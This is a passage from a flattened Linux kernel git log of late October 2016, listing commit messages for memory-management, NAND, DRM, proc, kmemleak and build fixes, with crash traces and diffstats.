ensure page alignment Since commit d86bd1bece6f ("mm/slub: support left redzone") it is no longer guaranteed that kmalloc(PAGE_SIZE) returns page aligned memory. After the above commit we get an error for diag224 because aligned memory is required. This leads to the following user visible error: # mount none -t s390_hypfs /sys/hypervisor/ mount: unknown filesystem type 's390_hypfs' # dmesg | grep hypfs hypfs.cccfb8: The hardware system does not provide all functions required by hypfs hypfs.7a79f0: Initialization of hypfs failed with rc=-61 Fix this problem and use get_free_page() instead of kmalloc() to get correctly aligned memory. Cc: stable@vger.kernel.org # v3.6+ Signed-off-by: Michael Holzheu Signed-off-by: Martin Schwidefsky arch/s390/hypfs/hypfs_diag.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 73f907fd5fa56b0066d199bdd7126bbd04f6cd7b Author: Boris Brezillon Date: Mon Oct 24 16:46:20 2016 +0200 mtd: nand: Fix data interface configuration logic When changing from one data interface setting to another, one has to ensure a specific sequence which is described in the ONFI spec. One of these constraints is that the CE line has go high after a reset before a command can be sent with the new data interface setting, which is not guaranteed by the current implementation. Rework the nand_reset() function and all the call sites to make sure the CE line is asserted and released when required. Also make sure to actually apply the new data interface setting on the first die. Signed-off-by: Boris Brezillon Fixes: d8e725dd8311 ("mtd: nand: automate NAND timings selection") Reviewed-by: Sascha Hauer Tested-by: Marc Gonzalez drivers/mtd/nand/nand_base.c | 60 +++++++++++++++++++++++++++++++------------- include/linux/mtd/nand.h | 2 +- 2 files changed, 43 insertions(+), 19 deletions(-) commit ce93bedb5ed2b16c08c6df4c797865f9ead600a3 Author: Fabio Estevam Date: Sat Oct 22 14:15:22 2016 -0200 mtd: nand: gpmi: disable the clocks on errors We should disable the previously enabled GPMI clocks in the error paths. Also, when gpmi_enable_clk() fails simply return the error code immediately rather than jumping to to the 'err_out' label. Signed-off-by: Fabio Estevam Reviewed-by: Marek Vasut Acked-by: Han Xu Signed-off-by: Boris Brezillon drivers/mtd/nand/gpmi-nand/gpmi-lib.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 14970f204b1993af7459d5bd34aaff38dfee6670 Merge: 67463e5 8e81910 Author: Linus Torvalds Date: Thu Oct 27 19:58:39 2016 -0700 Merge branch 'akpm' (patches from Andrew) Merge misc fixes from Andrew Morton: "20 fixes" * emailed patches from Andrew Morton : drivers/misc/sgi-gru/grumain.c: remove bogus 0x prefix from printk cris/arch-v32: cryptocop: print a hex number after a 0x prefix ipack: print a hex number after a 0x prefix block: DAC960: print a hex number after a 0x prefix fs: exofs: print a hex number after a 0x prefix lib/genalloc.c: start search from start of chunk mm: memcontrol: do not recurse in direct reclaim CREDITS: update credit information for Martin Kepplinger proc: fix NULL dereference when reading /proc//auxv mm: kmemleak: ensure that the task stack is not freed during scanning lib/stackdepot.c: bump stackdepot capacity from 16MB to 128MB latent_entropy: raise CONFIG_FRAME_WARN by default kconfig.h: remove config_enabled() macro ipc: account for kmem usage on mqueue and msg mm/slab: improve performance of gathering slabinfo stats mm: page_alloc: use KERN_CONT where appropriate mm/list_lru.c: avoid error-path NULL pointer deref h8300: fix syscall restarting kcov: properly check if we are in an interrupt mm/slab: fix kmemcg cache creation delayed issue commit 1cfa126c52af20c36e6a618e45c5449d1025ae55 Merge: aa72c26 a2941d0 Author: Dave Airlie Date: Fri Oct 28 12:25:01 2016 +1000 Merge branch 'drm-fixes-4.9' of git://people.freedesktop.org/~agd5f/linux into drm-fixes Two sets of amdgpu fixes as I missed one set. * 'drm-fixes-4.9' of git://people.freedesktop.org/~agd5f/linux: (23 commits) drm/amd/powerplay: fix bug get wrong evv voltage of Polaris. drm/amdgpu/si_dpm: workaround for SI kickers drm/radeon/si_dpm: workaround for SI kickers drm/amdgpu: fix s3 resume back, uvd dpm randomly can't disable. drm/radeon: drop register readback in cayman_cp_int_cntl_setup drm/amdgpu/vce3: only enable 3 rings on new enough firmware (v2) drm/amdgpu: fix fence slab teardown drm/amdgpu: update kernel-doc for some functions drm/amdgpu: fix a vm_flush fence leak drm/amdgpu: fix sched fence slab teardown Revert "drm/radeon: fix DP link training issue with second 4K monitor" drm/amdgpu/dpm: flush any thermal work on fini drm/amdgpu: cancel reset work on fini drm/amd/powerplay: don't give up if DPM is already running drm/amd/powerplay: fix static checker warning in process_pptables_v1_0.c drm/amdgpu: avoid drm error log during S3 on RHEL7.3 drm/amdgpu: explicitly set pg_flags for ST drm/amdgpu/st: move ATC CG golden init from gfx to mc drm/amd/amdgpu: expose max engine and memory clock for powerplay enabled case drm/amdgpu: move atom scratch register save/restore to common code ... commit aa72c26c2b7aec5f60d9f2bf55e2f00632899ed7 Merge: 07d9a38 4da5caa Author: Dave Airlie Date: Fri Oct 28 12:24:14 2016 +1000 Merge tag 'drm-misc-fixes-2016-10-27' of git://anongit.freedesktop.org/git/drm-misc into drm-fixes Set of drm core fixes. Hopefully fixes a bug in MST unplugs in fbdev. * tag 'drm-misc-fixes-2016-10-27' of git://anongit.freedesktop.org/git/drm-misc: drm/dp/mst: Check peer device type before attempting EDID read drm/dp/mst: Clear port->pdt when tearing down the i2c adapter drm/fb-helper: Keep references for the current set of used connectors drm: Don't force all planes to be added to the state due to zpos drm/fb-helper: Fix connector ref leak on error drm/fb-helper: Don't call dirty callback for untouched clips drm: Release reference from blob lookup after replacing property commit 8e819101ce6fcc58801c9a813ea99c4da0255eef Author: Dimitri Sivanich Date: Thu Oct 27 17:47:12 2016 -0700 drivers/misc/sgi-gru/grumain.c: remove bogus 0x prefix from printk Would like to have this be a decimal number. Link: http://lkml.kernel.org/r/20161026134746.GA30169@sgi.com Signed-off-by: Dimitri Sivanich Reported-by: Uwe Kleine-König Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds drivers/misc/sgi-gru/grumain.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 17a88939568be28a8ea5195b55ef3a84a469777e Author: Uwe Kleine-König Date: Thu Oct 27 17:47:10 2016 -0700 cris/arch-v32: cryptocop: print a hex number after a 0x prefix It makes the result hard to interpret correctly if a base 10 number is prefixed by 0x. So change to a hex number. Link: http://lkml.kernel.org/r/20161026125658.25728-6-u.kleine-koenig@pengutronix.de Signed-off-by: Uwe Kleine-König Cc: Mikael Starvik Cc: Jesper Nilsson Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds arch/cris/arch-v32/drivers/cryptocop.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9105585d13bd2946f0eb2a664e32ec9a9b23bf1b Author: Uwe Kleine-König Date: Thu Oct 27 17:47:07 2016 -0700 ipack: print a hex number after a 0x prefix It makes the result hard to interpret correctly if a base 10 number is prefixed by 0x. So change to a hex number. Link: http://lkml.kernel.org/r/20161026125658.25728-4-u.kleine-koenig@pengutronix.de Signed-off-by: Uwe Kleine-König Cc: Samuel Iglesias Gonsalvez Cc: Jens Taprogge Cc: Greg Kroah-Hartman Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds drivers/ipack/ipack.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ee52c44dee63ff2686a7b0d98fff7c80852ac022 Author: Uwe Kleine-König Date: Thu Oct 27 17:47:04 2016 -0700 block: DAC960: print a hex number after a 0x prefix It makes the message hard to interpret correctly if a base 10 number is prefixed by 0x. So change to a hex number. Link: http://lkml.kernel.org/r/20161026125658.25728-3-u.kleine-koenig@pengutronix.de Signed-off-by: Uwe Kleine-König Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds drivers/block/DAC960.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 14f947c87a2164b19c7f8c02234f4f348e03f409 Author: Uwe Kleine-König Date: Thu Oct 27 17:47:02 2016 -0700 fs: exofs: print a hex number after a 0x prefix It makes the message hard to interpret correctly if a base 10 number is prefixed by 0x. So change to a hex number. Link: http://lkml.kernel.org/r/20161026125658.25728-2-u.kleine-koenig@pengutronix.de Signed-off-by: Uwe Kleine-König Cc: Boaz Harrosh Cc: Benny Halevy Cc: Joe Perches Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/exofs/dir.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 62e931fac45b17c2a42549389879411572f75804 Author: Daniel Mentz Date: Thu Oct 27 17:46:59 2016 -0700 lib/genalloc.c: start search from start of chunk gen_pool_alloc_algo() iterates over the chunks of a pool trying to find a contiguous block of memory that satisfies the allocation request. The shortcut if (size > atomic_read(&chunk->avail)) continue; makes the loop skip over chunks that do not have enough bytes left to fulfill the request. There are two situations, though, where an allocation might still fail: (1) The available memory is not contiguous, i.e. the request cannot be fulfilled due to external fragmentation. (2) A race condition. Another thread runs the same code concurrently and is quicker to grab the available memory. In those situations, the loop calls pool->algo() to search the entire chunk, and pool->algo() returns some value that is >= end_bit to indicate that the search failed. This return value is then assigned to start_bit. The variables start_bit and end_bit describe the range that should be searched, and this range should be reset for every chunk that is searched. Today, the code fails to reset start_bit to 0. As a result, prefixes of subsequent chunks are ignored. Memory allocations might fail even though there is plenty of room left in these prefixes of those other chunks. Fixes: 7f184275aa30 ("lib, Make gen_pool memory allocator lockless") Link: http://lkml.kernel.org/r/1477420604-28918-1-git-send-email-danielmentz@google.com Signed-off-by: Daniel Mentz Reviewed-by: Mathieu Desnoyers Acked-by: Will Deacon Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds lib/genalloc.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 89a2848381b5fcd9c4d9c0cd97680e3b28730e31 Author: Johannes Weiner Date: Thu Oct 27 17:46:56 2016 -0700 mm: memcontrol: do not recurse in direct reclaim On 4.0, we saw a stack corruption from a page fault entering direct memory cgroup reclaim, calling into btrfs_releasepage(), which then tried to allocate an extent and recursed back into a kmem charge ad nauseam: [...] btrfs_releasepage+0x2c/0x30 try_to_release_page+0x32/0x50 shrink_page_list+0x6da/0x7a0 shrink_inactive_list+0x1e5/0x510 shrink_lruvec+0x605/0x7f0 shrink_zone+0xee/0x320 do_try_to_free_pages+0x174/0x440 try_to_free_mem_cgroup_pages+0xa7/0x130 try_charge+0x17b/0x830 memcg_charge_kmem+0x40/0x80 new_slab+0x2d9/0x5a0 __slab_alloc+0x2fd/0x44f kmem_cache_alloc+0x193/0x1e0 alloc_extent_state+0x21/0xc0 __clear_extent_bit+0x2b5/0x400 try_release_extent_mapping+0x1a3/0x220 __btrfs_releasepage+0x31/0x70 btrfs_releasepage+0x2c/0x30 try_to_release_page+0x32/0x50 shrink_page_list+0x6da/0x7a0 shrink_inactive_list+0x1e5/0x510 shrink_lruvec+0x605/0x7f0 shrink_zone+0xee/0x320 do_try_to_free_pages+0x174/0x440 try_to_free_mem_cgroup_pages+0xa7/0x130 try_charge+0x17b/0x830 mem_cgroup_try_charge+0x65/0x1c0 handle_mm_fault+0x117f/0x1510 __do_page_fault+0x177/0x420 do_page_fault+0xc/0x10 page_fault+0x22/0x30 On later kernels, kmem charging is opt-in rather than opt-out, and that particular kmem allocation in btrfs_releasepage() is no longer being charged and won't recurse and overrun the stack anymore. But it's not impossible for an accounted allocation to happen from the memcg direct reclaim context, and we needed to reproduce this crash many times before we even got a useful stack trace out of it. Like other direct reclaimers, mark tasks in memcg reclaim PF_MEMALLOC to avoid recursing into any other form of direct reclaim. Then let recursive charges from PF_MEMALLOC contexts bypass the cgroup limit. Link: http://lkml.kernel.org/r/20161025141050.GA13019@cmpxchg.org Signed-off-by: Johannes Weiner Acked-by: Michal Hocko Cc: Vladimir Davydov Cc: Tejun Heo Cc: Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/memcontrol.c | 9 +++++++++ mm/vmscan.c | 2 ++ 2 files changed, 11 insertions(+) commit 8f72cb4ef90c63bcb5111c2e3ec7ea2727eab2f8 Author: Martin Kepplinger Date: Thu Oct 27 17:46:53 2016 -0700 CREDITS: update credit information for Martin Kepplinger Content and employer changed. Link: http://lkml.kernel.org/r/1477304102-28830-1-git-send-email-martin.kepplinger@ginzinger.com Signed-off-by: Martin Kepplinger Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds CREDITS | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 06b2849d103f4a91212876a211d0d7df227a9513 Author: Leon Yu Date: Thu Oct 27 17:46:50 2016 -0700 proc: fix NULL dereference when reading /proc//auxv Reading auxv of any kernel thread results in NULL pointer dereferencing in auxv_read() where mm can be NULL. Fix that by checking for NULL mm and bailing out early. This is also the original behavior changed by recent commit c5317167854e ("proc: switch auxv to use of __mem_open()"). # cat /proc/2/auxv Unable to handle kernel NULL pointer dereference at virtual address 000000a8 Internal error: Oops: 17 [#1] PREEMPT SMP ARM CPU: 3 PID: 113 Comm: cat Not tainted 4.9.0-rc1-ARCH+ #1 Hardware name: BCM2709 task: ea3b0b00 task.stack: e99b2000 PC is at auxv_read+0x24/0x4c LR is at do_readv_writev+0x2fc/0x37c Process cat (pid: 113, stack limit = 0xe99b2210) Call chain: auxv_read do_readv_writev vfs_readv default_file_splice_read splice_direct_to_actor do_splice_direct do_sendfile SyS_sendfile64 ret_fast_syscall Fixes: c5317167854e ("proc: switch auxv to use of __mem_open()") Link: http://lkml.kernel.org/r/1476966200-14457-1-git-send-email-chianglungyu@gmail.com Signed-off-by: Leon Yu Acked-by: Oleg Nesterov Acked-by: Michal Hocko Cc: Al Viro Cc: Kees Cook Cc: John Stultz Cc: Mateusz Guzik Cc: Janis Danisevskis Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/proc/base.c | 3 +++ 1 file changed, 3 insertions(+) commit 37df49f433bc3a11f5716fe65aaec5189c6402cb Author: Catalin Marinas Date: Thu Oct 27 17:46:47 2016 -0700 mm: kmemleak: ensure that the task stack is not freed during scanning Commit 68f24b08ee89 ("sched/core: Free the stack early if CONFIG_THREAD_INFO_IN_TASK") may cause the task->stack to be freed during kmemleak_scan() execution, leading to either a NULL pointer fault (if task->stack is NULL) or kmemleak accessing already freed memory. This patch uses the new try_get_task_stack() API to ensure that the task stack is not freed during kmemleak stack scanning. Addresses https://bugzilla.kernel.org/show_bug.cgi?id=173901. Fixes: 68f24b08ee89 ("sched/core: Free the stack early if CONFIG_THREAD_INFO_IN_TASK") Link: http://lkml.kernel.org/r/1476266223-14325-1-git-send-email-catalin.marinas@arm.com Signed-off-by: Catalin Marinas Reported-by: CAI Qian Tested-by: CAI Qian Acked-by: Michal Hocko Cc: Andy Lutomirski Cc: CAI Qian Cc: Hillf Danton Cc: Oleg Nesterov Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/kmemleak.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit 02754e0a484a50a92d44c38879f2cb2792ebc572 Author: Dmitry Vyukov Date: Thu Oct 27 17:46:44 2016 -0700 lib/stackdepot.c: bump stackdepot capacity from 16MB to 128MB KASAN uses stackdepot to memorize stacks for all kmalloc/kfree calls. Current stackdepot capacity is 16MB (1024 top level entries x 4 pages on second level). Size of each stack is (num_frames + 3) * sizeof(long). Which gives us ~84K stacks. This capacity was chosen empirically and it is enough to run kernel normally. However, when lots of configs are enabled and a fuzzer tries to maximize code coverage, it easily hits the limit within tens of minutes. I've tested for long a time with number of top level entries bumped 4x (4096). And I think I've seen overflow only once. But I don't have all configs enabled and code coverage has not reached maximum yet. So bump it 8x to 8192. Since we have two-level table, memory cost of this is very moderate -- currently the top-level table is 8KB, with this patch it is 64KB, which is negligible under KASAN. Here is some approx math. 128MB allows us to memorize ~670K stacks (assuming stack is ~200b). I've grepped kernel for kmalloc|kfree|kmem_cache_alloc|kmem_cache_free| kzalloc|kstrdup|kstrndup|kmemdup and it gives ~60K matches. Most of alloc/free call sites are reachable with only one stack. But some utility functions can have large fanout. Assuming average fanout is 5x, total number of alloc/free stacks is ~300K. Link: http://lkml.kernel.org/r/1476458416-122131-1-git-send-email-dvyukov@google.com Signed-off-by: Dmitry Vyukov Cc: Andrey Ryabinin Cc: Alexander Potapenko Cc: Joonsoo Kim Cc: Baozeng Ding Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds lib/stackdepot.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 0e07f663c90154079b287931257defbdb1d5405a Author: Kees Cook Date: Thu Oct 27 17:46:41 2016 -0700 latent_entropy: raise CONFIG_FRAME_WARN by default When building with the latent_entropy plugin, set the default CONFIG_FRAME_WARN to 2048, since some __init functions have many basic blocks that, when instrumented by the latent_entropy plugin, grow beyond 1024 byte stack size on 32-bit builds. Link: http://lkml.kernel.org/r/20161018211216.GA39687@beast Signed-off-by: Kees Cook Reported-by: kbuild test robot Cc: Emese Revfy Cc: Ingo Molnar Cc: Michal Marek Cc: "Paul E. McKenney" Cc: Dan Williams Cc: Andrey Ryabinin Cc: Josh Poimboeuf Cc: Tejun Heo Cc: Nikolay Aleksandrov Cc: Dmitry Vyukov Cc: Shuah Khan Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds lib/Kconfig.debug | 1 + 1 file changed, 1 insertion(+) commit c0a0aba8e478229b2f0956918542152fbad3f794 Author: Masahiro Yamada Date: Thu Oct 27 17:46:38 2016 -0700 kconfig.h: remove config_enabled() macro The use of config_enabled() is ambiguous. For config options, IS_ENABLED(), IS_REACHABLE(), etc. will make intention clearer. Sometimes config_enabled() has been used for non-config options because it is useful to check whether the given symbol is defined or not. I have been tackling on deprecating config_enabled(), and now is the time to finish this work. Some new users have appeared for v4.9-rc1, but it is trivial to replace them: - arch/x86/mm/kaslr.c replace config_enabled() with IS_ENABLED() because CONFIG_X86_ESPFIX64 and CONFIG_EFI are boolean. - include/asm-generic/export.h replace config_enabled() with __is_defined(). Then, config_enabled() can be removed now. Going forward, please use IS_ENABLED(), IS_REACHABLE(), etc. for config options, and __is_defined() for non-config symbols. Link: http://lkml.kernel.org/r/1476616078-32252-1-git-send-email-yamada.masahiro@socionext.com Signed-off-by: Masahiro Yamada Acked-by: Ingo Molnar Acked-by: Nicolas Pitre Cc: Peter Oberparleiter Cc: Arnd Bergmann Cc: Kees Cook Cc: Michal Marek Cc: "H. Peter Anvin" Cc: Thomas Gleixner Cc: Thomas Garnier Cc: Paul Bolle Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds arch/x86/mm/kaslr.c | 6 +++--- include/asm-generic/export.h | 2 +- include/linux/kconfig.h | 5 ++--- 3 files changed, 6 insertions(+), 7 deletions(-) commit 8c8d4d45204902e144abc0f15b7c658828028fa1 Author: Aristeu Rozanski Date: Thu Oct 27 17:46:35 2016 -0700 ipc: account for kmem usage on mqueue and msg When kmem accounting switched from account by default to only account if flagged by __GFP_ACCOUNT, IPC mqueue and messages was left out. The production use case at hand is that mqueues should be customizable via sysctls in Docker containers in a Kubernetes cluster. This can only be safely allowed to the users of the cluster (without the risk that they can cause resource shortage on a node, influencing other users' containers) if all resources they control are bounded, i.e. accounted for. Link: http://lkml.kernel.org/r/1476806075-1210-1-git-send-email-arozansk@redhat.com Signed-off-by: Aristeu Rozanski Reported-by: Stefan Schimanski Acked-by: Davidlohr Bueso Cc: Alexey Dobriyan Cc: Johannes Weiner Cc: Michal Hocko Cc: Vladimir Davydov Cc: Stefan Schimanski Cc: Michal Hocko Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds ipc/msgutil.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 07a63c41fa1f6533f5668e5b33a295bfd63aa534 Author: Aruna Ramakrishna Date: Thu Oct 27 17:46:32 2016 -0700 mm/slab: improve performance of gathering slabinfo stats On large systems, when some slab caches grow to millions of objects (and many gigabytes), running 'cat /proc/slabinfo' can take up to 1-2 seconds. During this time, interrupts are disabled while walking the slab lists (slabs_full, slabs_partial, and slabs_free) for each node, and this sometimes causes timeouts in other drivers (for instance, Infiniband). This patch optimizes 'cat /proc/slabinfo' by maintaining a counter for total number of allocated slabs per node, per cache. This counter is updated when a slab is created or destroyed. This enables us to skip traversing the slabs_full list while gathering slabinfo statistics, and since slabs_full tends to be the biggest list when the cache is large, it results in a dramatic performance improvement. Getting slabinfo statistics now only requires walking the slabs_free and slabs_partial lists, and those lists are usually much smaller than slabs_full. We tested this after growing the dentry cache to 70GB, and the performance improved from 2s to 5ms. Link: http://lkml.kernel.org/r/1472517876-26814-1-git-send-email-aruna.ramakrishna@oracle.com Signed-off-by: Aruna Ramakrishna Acked-by: David Rientjes Cc: Mike Kravetz Cc: Christoph Lameter Cc: Pekka Enberg Cc: David Rientjes Cc: Joonsoo Kim Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/slab.c | 43 +++++++++++++++++++++++++++---------------- mm/slab.h | 1 + 2 files changed, 28 insertions(+), 16 deletions(-) commit 1f84a18fc010d7a62667199c9be35872bbf31526 Author: Joe Perches Date: Thu Oct 27 17:46:29 2016 -0700 mm: page_alloc: use KERN_CONT where appropriate Recent changes to printk require KERN_CONT uses to continue logging messages. So add KERN_CONT where necessary. [akpm@linux-foundation.org: coding-style fixes] Fixes: 4bcc595ccd80 ("printk: reinstate KERN_CONT for printing continuation lines") Link: http://lkml.kernel.org/r/c7df37c8665134654a17aaeb8b9f6ace1d6db58b.1476239034.git.joe@perches.com Reported-by: Mark Rutland Signed-off-by: Joe Perches Acked-by: Michal Hocko Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/page_alloc.c | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) commit 1bc11d70b5db7c6bb1414b283d7f09b1fe1ac0d0 Author: Alexander Polakov Date: Thu Oct 27 17:46:27 2016 -0700 mm/list_lru.c: avoid error-path NULL pointer deref As described in https://bugzilla.kernel.org/show_bug.cgi?id=177821: After some analysis it seems to be that the problem is in alloc_super(). In case list_lru_init_memcg() fails it goes into destroy_super(), which calls list_lru_destroy(). And in list_lru_init() we see that in case memcg_init_list_lru() fails, lru->node is freed, but not set NULL, which then leads list_lru_destroy() to believe it is initialized and call memcg_destroy_list_lru(). memcg_destroy_list_lru() in turn can access lru->node[i].memcg_lrus, which is NULL. [akpm@linux-foundation.org: add comment] Signed-off-by: Alexander Polakov Acked-by: Vladimir Davydov Cc: Al Viro Cc: Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/list_lru.c | 2 ++ 1 file changed, 2 insertions(+) commit 21753583056d48a5fad964d6f272e28168426845 Author: Mark Rutland Date: Thu Oct 27 17:46:24 2016 -0700 h8300: fix syscall restarting Back in commit f56141e3e2d9 ("all arches, signal: move restart_block to struct task_struct"), all architectures and core code were changed to use task_struct::restart_block. However, when h8300 support was subsequently restored in v4.2, it was not updated to account for this, and maintains thread_info::restart_block, which is not kept in sync. This patch drops the redundant restart_block from thread_info, and moves h8300 to the common one in task_struct, ensuring that syscall restarting always works as expected. Fixes: f56141e3e2d9 ("all arches, signal: move restart_block to struct task_struct") Link: http://lkml.kernel.org/r/1476714934-11635-1-git-send-email-mark.rutland@arm.com Signed-off-by: Mark Rutland Cc: Andy Lutomirski Cc: Yoshinori Sato Cc: uclinux-h8-devel@lists.sourceforge.jp Cc: [4.2+] Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds arch/h8300/include/asm/thread_info.h | 4 ---- arch/h8300/kernel/signal.c | 2 +- 2 files changed, 1 insertion(+), 5 deletions(-) commit b274c0bb394c6a69ac12feac7c2db81f5aff5a55 Author: Andrey Konovalov Date: Thu Oct 27 17:46:21 2016 -0700 kcov: properly check if we are in an interrupt in_interrupt() returns a nonzero value when we are either in an interrupt or have bh disabled via local_bh_disable(). Since we are interested in only ignoring coverage from actual interrupts, do a proper check instead of just calling in_interrupt(). As a result of this change, kcov will start to collect coverage from within local_bh_disable()/local_bh_enable() sections. Link: http://lkml.kernel.org/r/1476115803-20712-1-git-send-email-andreyknvl@google.com Signed-off-by: Andrey Konovalov Acked-by: Dmitry Vyukov Cc: Nicolai Stange Cc: Andrey Ryabinin Cc: Kees Cook Cc: James Morse Cc: Vegard Nossum Cc: Quentin Casasnovas Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds kernel/kcov.c | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) commit 86d9f48534e800e4d62cdc1b5aaf539f4c1d47d6 Author: Joonsoo Kim Date: Thu Oct 27 17:46:18 2016 -0700 mm/slab: fix kmemcg cache creation delayed issue There is a bug report that SLAB makes extreme load average due to over 2000 kworker thread. https://bugzilla.kernel.org/show_bug.cgi?id=172981 This issue is caused by kmemcg feature that try to create new set of kmem_caches for each memcg. Recently, kmem_cache creation is slowed by synchronize_sched() and futher kmem_cache creation is also delayed since kmem_cache creation is synchronized by a global slab_mutex lock. So, the number of kworker that try to create kmem_cache increases quietly. synchronize_sched() is for lockless access to node's shared array but it's not needed when a new kmem_cache is created. So, this patch rules out that case. Fixes: 801faf0db894 ("mm/slab: lockless decision to grow cache") Link: http://lkml.kernel.org/r/1475734855-4837-1-git-send-email-iamjoonsoo.kim@lge.com Reported-by: Doug Smythies Tested-by: Doug Smythies Signed-off-by: Joonsoo Kim Cc: Christoph Lameter Cc: Pekka Enberg Cc: David Rientjes Cc: Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/slab.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 5c4a9129b81027eca12aeaf2fa9defb45150f533 Author: Marek Szyprowski Date: Wed Oct 26 08:12:20 2016 +0200 clk/samsung: Use CLK_OF_DECLARE_DRIVER initialization method for CLKOUT The Exynos PMU node is an interrupt, clock and PMU (Power Management Unit) controller, and these functionalities are supported by different drivers that matches the same compatible strings. Since commit 989eafd0b609 ("clk: core: Avoid double initialization of clocks") the OF core flags clock controllers registered with the CLK_OF_DECLARE() macro as OF_POPULATED, so platform devices with the same compatible string will not be registered. This prevents the PMU platform device to be created, so the Exynos PMU driver is never probed. This breaks (among other things) Suspend-to-RAM. Fix this by changing CLKOUT driver initialization method to CLK_OF_DECLARE_DRIVER(), which doesn't clear the OF_POPULATED flag, so later a platform device is created and the Exynos PMU platform driver can be be probed properly. Fixes: 989eafd0b609 ("clk: core: Avoid double initialization of clocks") Signed-off-by: Marek Szyprowski Reviewed-by: Javier Martinez Canillas Reviewed-by: Chanwoo Choi Signed-off-by: Stephen Boyd drivers/clk/samsung/clk-exynos-clkout.c | 22 ++++++++++++++-------- 1 file changed, 14 insertions(+), 8 deletions(-) commit 52e73eb2872c9af6f382b2b22954ca8214397a4e Author: Dan Williams Date: Thu Oct 27 17:04:05 2016 -0700 device-dax: fix percpu_ref_exit ordering We need to wait until the percpu_ref is released before exit. Otherwise, we sometimes lose the race and trigger this new warning that was added in v4.9 (commit a67823c1ed10 "percpu-refcount: init ->confirm_switch member properly"): WARNING: CPU: 0 PID: 3629 at lib/percpu-refcount.c:107 percpu_ref_exit+0x51/0x60 [..] Call Trace: [] dump_stack+0x85/0xc2 [] __warn+0xcb/0xf0 [] warn_slowpath_null+0x1d/0x20 [] percpu_ref_exit+0x51/0x60 [] dax_pmem_percpu_exit+0x1a/0x50 [dax_pmem] [] devm_action_release+0xf/0x20 Cc: Fixes: ab68f2622136 ("/dev/dax, pmem: direct access to persistent memory") Signed-off-by: Dan Williams drivers/dax/pmem.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 67463e54beb63114965c3d2c7cb81d1d524e2697 Author: Linus Torvalds Date: Thu Oct 27 16:23:01 2016 -0700 Allow KASAN and HOTPLUG_MEMORY to co-exist when doing build testing No, KASAN may not be able to co-exist with HOTPLUG_MEMORY at runtime, but for build testing there is no reason not to allow them together. This hopefully means better build coverage and fewer embarrasing silly problems like the one fixed by commit 9db4f36e82c2 ("mm: remove unused variable in memory hotplug") in the future. Cc: Stephen Rothwell Cc: Andrey Ryabinin Cc: Alexander Potapenko Signed-off-by: Linus Torvalds mm/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 867dfe342118b1ea0256a85f7c0d9ceb0ead032a Author: Arnd Bergmann Date: Tue Oct 25 17:52:04 2016 +0200 nvdimm: make CONFIG_NVDIMM_DAX 'bool' A bugfix just tried to address a randconfig build problem and introduced a variant of the same problem: with CONFIG_LIBNVDIMM=y and CONFIG_NVDIMM_DAX=m, the nvdimm module now fails to link: drivers/nvdimm/built-in.o: In function `to_nd_device_type': bus.c:(.text+0x1b5d): undefined reference to `is_nd_dax' drivers/nvdimm/built-in.o: In function `nd_region_notify_driver_action.constprop.2': region_devs.c:(.text+0x6b6c): undefined reference to `is_nd_dax' region_devs.c:(.text+0x6b8c): undefined reference to `to_nd_dax' drivers/nvdimm/built-in.o: In function `nd_region_probe': region.c:(.text+0x70f3): undefined reference to `nd_dax_create' drivers/nvdimm/built-in.o: In function `mode_show': namespace_devs.c:(.text+0xa196): undefined reference to `is_nd_dax' drivers/nvdimm/built-in.o: In function `nvdimm_namespace_common_probe': (.text+0xa55f): undefined reference to `is_nd_dax' drivers/nvdimm/built-in.o: In function `nvdimm_namespace_common_probe': (.text+0xa56e): undefined reference to `to_nd_dax' This reverts the earlier fix, making NVDIMM_DAX a 'bool' option again as it should be (it gets linked into the libnvdimm module). To fix the original problem, I'm adding a dependency on LIBNVDIMM to DEV_DAX_PMEM, which ensures we can't have that one built-in if the rest is a module. Fixes: 4e65e9381c7a ("/dev/dax: fix Kconfig dependency build breakage") Signed-off-by: Arnd Bergmann Reviewed-by: Ross Zwisler Signed-off-by: Dan Williams drivers/dax/Kconfig | 2 +- drivers/nvdimm/Kconfig | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit 9db4f36e82c2394c958d8e42a498fb664684bc22 Author: Linus Torvalds Date: Thu Oct 27 15:49:12 2016 -0700 mm: remove unused variable in memory hotplug When I removed the per-zone bitlock hashed waitqueues in commit 9dcb8b685fc3 ("mm: remove per-zone hashtable of bitlock waitqueues"), 